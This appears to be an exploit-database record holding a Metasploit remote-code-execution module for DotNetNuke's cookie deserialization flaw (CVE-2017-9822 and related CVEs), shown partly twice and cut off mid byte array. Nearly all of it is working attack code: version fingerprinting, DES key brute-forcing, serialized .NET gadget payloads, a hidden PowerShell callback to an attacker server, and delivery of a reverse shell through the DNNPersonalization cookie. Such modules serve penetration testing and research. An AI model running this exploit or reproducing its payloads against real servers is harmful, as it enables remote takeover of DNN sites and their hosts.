normalize_uri(uri + 'Documentation', 'License.txt')\n )\n year = -1\n if res && res.code == 200\n # License page found, get latest copyright year.\n matches = @cr_regex.match(res.body)\n if matches\n year = matches[0].to_i\n end\n else\n vprint_status(\"Checking version at #{uri} ...\")\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(uri)\n )\n if res && res.code == 200\n # Check if copyright info is in page HTML.\n matches = @cr_regex.match(res.body)\n if matches\n year = matches[0].to_i\n end\n end\n end\n\n if year >= 2018\n print_warning(\n %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.\nSetting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.\nTry setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.\")\n )\n datastore['TARGET'] = 3\n elsif year == 2017\n print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')\n datastore['TARGET'] = 2\n elsif year < 2017 && year > 2008\n print_good(\"DNN Version Found: v5.1.0 - v9.0.1\")\n datastore['TARGET'] = 1\n elsif year == 2008\n print_warning(\"DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).\")\n datastore['TARGET'] = 1\n else\n print_warning(\"Could not determine DNN version. Target may still be vulnerable. Manually set the Target value\")\n end\n end\n\n # ==============================\n # Known plaintext attack to\n # brute-force the encryption key\n # ==============================\n def find_key(cipher_text)\n print_status(\"Finding Key...\")\n\n # Counter\n total_keys = @key_charset.length**8\n i = 1\n\n # Set start time\n start = Time.now\n\n # First char\n @key_charset.each_byte do |a|\n key = a.chr\n # 2\n @key_charset.each_byte do |b|\n key[1] = b.chr\n # 3\n @key_charset.each_byte do |c|\n key[2] = c.chr\n # 4\n @key_charset.each_byte do |d|\n key[3] = d.chr\n # 5\n @key_charset.each_byte do |e|\n key[4] = e.chr\n # 6\n @key_charset.each_byte do |f|\n key[5] = f.chr\n # 7\n @key_charset.each_byte do |g|\n key[6] = g.chr\n # 8\n @key_charset.each_byte do |h|\n key[7] = h.chr\n if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))\n elapsed = Time.now - start\n print_search_status(i, elapsed, total_keys)\n print_line\n if @target_idx == 4\n print_good(\"Possible Base Key Value Found: \" + key)\n else\n print_good(\"KEY Found: \" + key)\n print_good(\"IV Found: \" + @passphrase[8..-1])\n end\n vprint_status(format(\"Total number of Keys tried: %<n_tried>d\", n_tried: i))\n vprint_status(format(\"Time to crack: %<c_time>.3f seconds\", c_time: elapsed.to_s))\n return String.new(key)\n end\n # Print timing info every 5 million attempts\n if i % 5000000 == 0\n print_search_status(i, Time.now - start, total_keys)\n end\n i += 1\n end\n end\n end\n end\n end\n end\n end\n end\n elapsed = Time.now - start\n print_search_status(i, elapsed, total_keys)\n print_line\n print_error(\"Key not found\")\n vprint_status(format(\"Total number of Keys tried: %<n_tried>d\", n_tried: i))\n vprint_status(format(\"Time run: %<r_time>.3f seconds\", r_time: elapsed.to_s))\n return nil\n end\n\n # ==================================\n # Attempt to decrypt a ciphertext\n # and obtain the IV at the same time\n # ==================================\n def decrypt_data_and_iv(cipher, cipher_text, key)\n cipher.key = key\n begin\n plaintext = cipher.update(cipher_text) + cipher.final\n if @target_idx == 4\n # Target is v9.2.2+\n user_id = plaintext[8, @user_id_pt_length]\n if @user_id_regex.match(user_id)\n return true\n end\n\n return false\n end\n\n # This should only execute if the version is 9.1.1 - 9.2.1\n iv = plaintext[0, 8]\n if [email\u00a0protected]_regex.match(iv)\n return false\n end\n\n # Build encryption passphrase as DNN does.\n @passphrase = key + iv\n\n # Encrypt the plaintext value using the discovered key and IV\n # and compare with the initial ciphertext\n if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)\n @passphrases.push(String.new(key + iv))\n return true\n end\n rescue StandardError\n # Ignore decryption errors to allow execution to continue\n return false\n end\n return false\n end\n\n def print_search_status(num_tries, elapsed, max_tries)\n msg = format(\"Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.\", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)\n print(\"\\r%bld%blu[*]%clr #{msg}\")\n end\n\n # ===========================\n # Encrypt data using the same\n # pattern that DNN uses.\n # ===========================\n def encrypt_data(cipher, message, passphrase)\n cipher.key = passphrase[0, 8]\n cipher.iv = passphrase[8, 8]\n return cipher.update(message) + cipher.final\n end\n\n # ===============================================\n # Generate all possible base key values\n # used to create the final passphrase in v9.2.2+.\n # DES weakness allows multiple bytes to be\n # interpreted as the same value.\n # ===============================================\n def generate_base_keys(pos, from_key, new_key)\n if [email\u00a0protected]? from_key[pos]\n if from_key[pos] % 2 == 0\n new_key[pos] = (from_key[pos] + 1).chr\n else\n new_key[pos] = (from_key[pos] - 1).chr\n end\n\n if new_key.length == 8\n @possible_keys.add(String.new(new_key))\n\n # also add key with original value\n new_key[pos] = (from_key[pos]).chr\n @possible_keys.add(String.new(new_key))\n else\n generate_base_keys(pos + 1, from_key, String.new(new_key))\n\n # also generate keys with original value\n new_key[pos] = (from_key[pos]).chr\n generate_base_keys(pos + 1, from_key, String.new(new_key))\n end\n else\n new_key[pos] = (from_key[pos]).chr\n if new_key.length == 8\n @possible_keys.add(String.new(new_key))\n else\n generate_base_keys(pos + 1, from_key, String.new(new_key))\n end\n end\n end\n\n # ==============================================\n # Find all possible base IV values\n # used to create the final Encryption passphrase\n # ==============================================\n def find_ivs(cipher_texts, key)\n num_chars = 8 - @kpt.length\n f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/\n\n @decryptor.key = key\n found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final\n # Find all possible IVs for the first ciphertext\n brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])\n\n # Reduce IV set by testing against other ciphertexts\n cipher_texts.drop(1).each do |cipher_text|\n @possible_ivs.each do |iv|\n @decryptor.iv = iv\n pt = @decryptor.update(cipher_text) + @decryptor.final\n if !f8regex.match(pt[0, 8])\n @possible_ivs.delete(iv)\n end\n end\n end\n end\n\n # ==========================================\n # A recursive function to find all\n # possible valid IV values using brute-force\n # ==========================================\n def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)\n charset = \"0123456789abcdef\"\n if num_chars_needed == 0\n @decryptor.key = key\n @decryptor.iv = pt_prefix\n pt = @decryptor.update(cipher_text) + @decryptor.final\n iv = pt[0, 8]\n if @iv_regex.match(iv)\n pt = pt_prefix + found_pt\n if encrypt_data(@encryptor, pt, key + iv) == cipher_text\n @possible_ivs.add(String.new(iv))\n end\n end\n return\n end\n charset.length.times do |i|\n brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)\n end\n end\n\n # ========================================\n # Generate all possible payload encryption\n # passphrases for a v9.2.2+ target\n # ========================================\n def generate_payload_passphrases\n phrases = Set.new(@passphrases)\n @possible_keys.each do |key|\n @possible_ivs.each do |iv|\n phrase = Rex::Text.encode_base64(\n encrypt_data(@encryptor, key + iv, key + iv)\n )\n phrases.add(String.new(phrase[0, 16]))\n end\n end\n @passphrases = phrases.to_a\n end\n\n # ===========================================\n # Test all generated passphrases by initializing\n # an HTTP server to listen for a callback that\n # contains the index of the successful passphrase.\n # ===========================================\n def test_passphrases\n for i in [email\u00a0protected] - 1\n # Stop sending if we've found the passphrase\n if [email\u00a0protected]?\n break\n end\n\n msg = format(\"Trying KEY and IV combination %<current>d of %<total>d...\", current: i + 1, total: @passphrases.size)\n print(\"\\r%bld%blu[*]%clr #{msg}\")\n\n url = \"#{get_uri}?#{get_resource.delete('/')}=#{i}\"\n payload = create_request_payload(url)\n cookie = create_cookie(payload)\n\n # Encrypt cookie value\n enc_cookie = Rex::Text.encode_base64(\n encrypt_data(@encryptor, cookie, @passphrases[i])\n )\n if @dry_run\n print_line\n print_warning(\"DryRun enabled. No exploit payloads have been sent to the target.\")\n print_warning(\"Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...\")\n print_line(enc_cookie)\n break\n end\n execute_command(enc_cookie, host: datastore['RHOST'])\n end\n end\n\n # ===============================\n # Request handler for HTTP server.\n # ==============================\n def on_request_uri(cli, request)\n # Send 404 to prevent scanner detection\n send_not_found(cli)\n\n # Get found index - should be the only query string parameter\n if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]\n index = request.qstring[get_resource.delete('/').to_s].to_i\n @passphrase = String.new(@passphrases[index])\n end\n end\n\n # ==============================================\n # Create payload to callback to the HTTP server.\n # Note: This technically exploits the\n # vulnerability, but provides a way to determine\n # the valid passphrase needed to exploit again.\n # ==============================================\n def create_request_payload(url)\n psh_cmd = \"/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \\\"Invoke-WebRequest '#{url}'\\\"\"\n psh_cmd_bytes = psh_cmd.bytes.to_a\n\n cmd_size_bytes = write_encoded_int(psh_cmd.length)\n\n # Package payload into serialized object\n payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end\n\n object_size = write_encoded_int(payload_object.length)\n\n # Create the final seralized ObjectStateFormatter payload\n final_payload = @osf_header + object_size + payload_object\n\n b64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\"))\n return b64_payload\n end\n\n # =============================================\n # Reproduce the WriteEncoded method in\n # the native .NET ObjectStateFormatter.cs file.\n # =============================================\n def write_encoded_int(value)\n enc = []\n while (value >= 0x80)\n v = value | 0x80\n enc.push([v].pack(\"V\")[0].unpack1(\"C*\"))\n value >>= 7\n end\n enc.push([value].pack(\"V\")[0].unpack1(\"C*\"))\n return enc\n end\n\n # =================================\n # Creates the payload cookie\n # using the specified payload\n # =================================\n def create_cookie(payload)\n cookie = \"<profile>\"\\\n \"<item key=\\\"k\\\" type=\\\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, \"\\\n \"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],\"\\\n \"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, \"\\\n \"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, \"\\\n \"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\\\">\"\\\n \"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>\"\\\n \"<ProjectedProperty0>\"\\\n \"<MethodName>Deserialize</MethodName>\"\\\n \"<MethodParameters>\"\\\n \"<anyType xmlns:i=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" \"\\\n \"xmlns:d=\\\"http://www.w3.org/2001/XMLSchema\\\" i:type=\\\"d:string\\\" \"\\\n \">#{payload}</anyType>\"\\\n \"</MethodParameters>\"\\\n \"<ObjectInstance xmlns:i=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" \"\\\n \"i:type=\\\"ObjectStateFormatter\\\" />\"\\\n \"</ProjectedProperty0>\"\\\n \"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>\"\\\n \"</item>\"\\\n \"</profile>\"\n return cookie\n end\n\n # =========================================\n # Send the payload to the target server.\n # =========================================\n def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })\n uri = normalize_uri(target_uri.path)\n\n res = send_request_cgi(\n 'uri' => uri,\n 'cookie' => \".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};\"\n )\n if !res\n fail_with(Failure::Unreachable, \"#{opts[:host]} - target unreachable.\")\n elsif res.code == 404\n return true\n elsif res.code == 400\n fail_with(Failure::BadConfig, \"#{opts[:host]} - payload resulted in a bad request - #{res.body}\")\n else\n fail_with(Failure::Unknown, \"#{opts[:host]} - Something went wrong- #{res.body}\")\n end\n end\n\n # ======================================\n # Create and send final exploit payload\n # to obtain a reverse shell.\n # ======================================\n def send_exploit_payload\n cmd_payload = create_payload\n cookie_payload = create_cookie(cmd_payload)\n if @encrypted\n if @passphrase.blank?\n print_error(\"Target requires encrypted payload, but a passphrase was not found or specified.\")\n return\n end\n cookie_payload = Rex::Text.encode_base64(\n encrypt_data(@encryptor, cookie_payload, @passphrase)\n )\n end\n if @dry_run\n print_warning(\"DryRun enabled. No exploit payloads have been sent to the target.\")\n print_warning(\"Printing exploit cookie payload...\")\n print_line(cookie_payload)\n return\n end\n\n # Set up the payload handlers\n payload_instance.setup_handler\n\n # Start the payload handler\n payload_instance.start_handler\n\n print_status(\"Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...\")\n execute_command(cookie_payload, host: datastore['RHOST'])\n end\n\n # ===================================\n # Create final exploit paylod based on\n # supplied payload options.\n # ===================================\n def create_payload\n # Create payload\n psh_cmd = \"/b /c start /b /min \" + cmd_psh_payload(\n payload.encoded,\n payload_instance.arch.first,\n remove_comspec: true, encode_final_payload: false\n )\n\n psh_cmd_bytes = psh_cmd.bytes.to_a\n cmd_size_bytes = write_encoded_int(psh_cmd.length)\n\n # Package payload into serialized object\n payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end\n object_size = write_encoded_int(payload_object.length)\n\n # Create the final seralized ObjectStateFormatter payload\n final_payload = @osf_header + object_size + payload_object\n b64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\"))\n\n vprint_status(\"Payload Object Created.\")\n\n return b64_payload\n end\nend\n", "category": "remote exploits", "verified": true}
{"packetstorm": [{"lastseen": "2020-04-03T22:51:26", "description": "", "cvss3": {}, "published": "2020-04-03T00:00:00", "type": "packetstorm", "title": "DotNetNuke Cookie Deserialization Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-15812", "CVE-2018-18326", "CVE-2018-15811", "CVE-2018-18325", "CVE-2017-9822"], "modified": "2020-04-03T00:00:00", "id": "PACKETSTORM:157080", "href": "https://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core/exploit/powershell' \nrequire 'openssl' \nrequire 'set' \n \nclass MetasploitModule < Msf::Exploit::Remote \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::HttpServer \n \nRank = ExcellentRanking \n \n# ================================= \n# Overidden setup method to allow \n# for delayed handler start \n# ================================= \ndef setup \n# Reset the session counts to zero. \nreset_session_counts \n \nreturn if !payload_instance \nreturn if !handler_enabled? \n \n# Configure the payload handler \npayload_instance.exploit_config = { \n'active_timeout' => active_timeout \n} \n \n# payload handler is normally set up and started here \n# but has been removed so we can start the handler when needed. \nend \n \ndef initialize(info = {}) \nsuper(update_info( \ninfo, \n'Name' => \"DotNetNuke Cookie Deserialization Remote Code Excecution\", \n'Description' => %q( \nThis module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. \nVulnerable versions store profile information for users in the DNNPersonalization cookie as XML. \nThe expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization. \nThe cookie is processed by the application whenever it attempts to load the current user's profile data. \nThis occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). \nAn attacker can leverage this vulnerability to execute arbitrary code on the system. \n), \n'License' => MSF_LICENSE, \n'Author' => [ 'Jon Park', 'Jon Seigel' ], \n'References' => \n[ \n[ 'CVE', '2017-9822' ], \n[ 'CVE', '2018-15811'], \n[ 'CVE', '2018-15812'], \n[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811 \n[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812 \n[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'], \n[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'], \n[ 'URL', 'https://github.com/pwntester/ysoserial.net'] \n], \n'Platform' => 'win', \n'Targets' => \n[ \n[ 'Automatic', { 'auto' => true } ], \n[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ], \n[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ], \n[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ], \n[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ] \n], \n'Stance' => Msf::Exploit::Stance::Aggressive, \n'Payload' => \n{ \n \n}, \n'Privileged' => false, \n'DisclosureDate' => \"Jul 20 2017\", \n'DefaultOptions' => { 'WfsDelay' => 5 }, \n'DefaultTarget' => 0 \n)) \n \nderegister_options('SRVHOST') \n \nregister_options( \n[ \nOptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']), \nOptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]), \nOptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code. \nTypically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']), \nOptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie; \n(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]), \nOptString.new('KEY', [false, 'The key to use for encryption.', '']), \nOptString.new('IV', [false, 'The initialization vector to use for encryption.', '']), \nOptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server. \nDNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']), \nOptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email. \nCan also be the path to a file containing a list of verification codes.), '']) \n] \n) \n \n \ninitialize_instance_variables \nend \n \ndef initialize_instance_variables \n# ================== \n# COMMON VARIABLES \n# ================== \n \n@target_idx = 0 \n \n# Flag for whether or not to perform exploitation \n@dry_run = false \n \n# Flag for whether or not the target requires encryption \n@encrypted = false \n \n# Flag for whether or not to attempt to decrypt the provided verification token(s) \n@try_decrypt = false \n \n# ================== \n# PAYLOAD VARIABLES \n# ================== \n \n# ObjectStateFormatter serialized header \n@osf_header = [255, 1, 50] \n \n# ObjectStateFormatter serialized data before the command payload \n@osf_wrapper_start = [ \n0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73, \n83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, \n46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, \n117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, \n111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, \n48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, \n108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, \n99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121, \n115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, \n114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, \n46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, \n116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, \n107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, \n57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97, \n114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115, \n0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, \n99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111, \n109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114, \n96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, \n44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, \n111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, \n101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, \n75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, \n57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0, \n2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109, \n46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, \n114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, \n112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, \n116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, \n86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, \n117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, \n117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, \n97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11, \n95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116, \n101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, \n105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0, \n17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0 \n] \n \n# ObjectStateFormatter serialized data to place after the command payload. \n@osf_wrapper_end = [ \n6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101, \n109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, \n105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8, \n68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7, \n109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109, \n46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, \n122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, \n101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101, \n109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109, \n98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97, \n116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101, \n109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109, \n98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97, \n116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0, \n0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68, \n101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, \n116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103, \n97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8, \n97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18, \n116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98, \n108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109, \n101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108, \n101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83, \n121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, \n114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, \n114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11, \n0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51, \n91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, \n109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, \n110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, \n101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, \n75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, \n57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83, \n116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, \n32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, \n67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, \n32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, \n55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, \n121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, \n115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101, \n109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, \n48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, \n97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, \n110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, \n93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, \n101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, \n117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, \n80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, \n55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0, \n73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, \n61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, \n110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, \n121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, \n52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68, \n105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101, \n115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0, \n0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, \n105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101, \n114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, \n114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108, \n121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83, \n105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117, \n114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101, \n110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1, \n1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91, \n93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83, \n121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, \n115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83, \n121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, \n115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62, \n83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 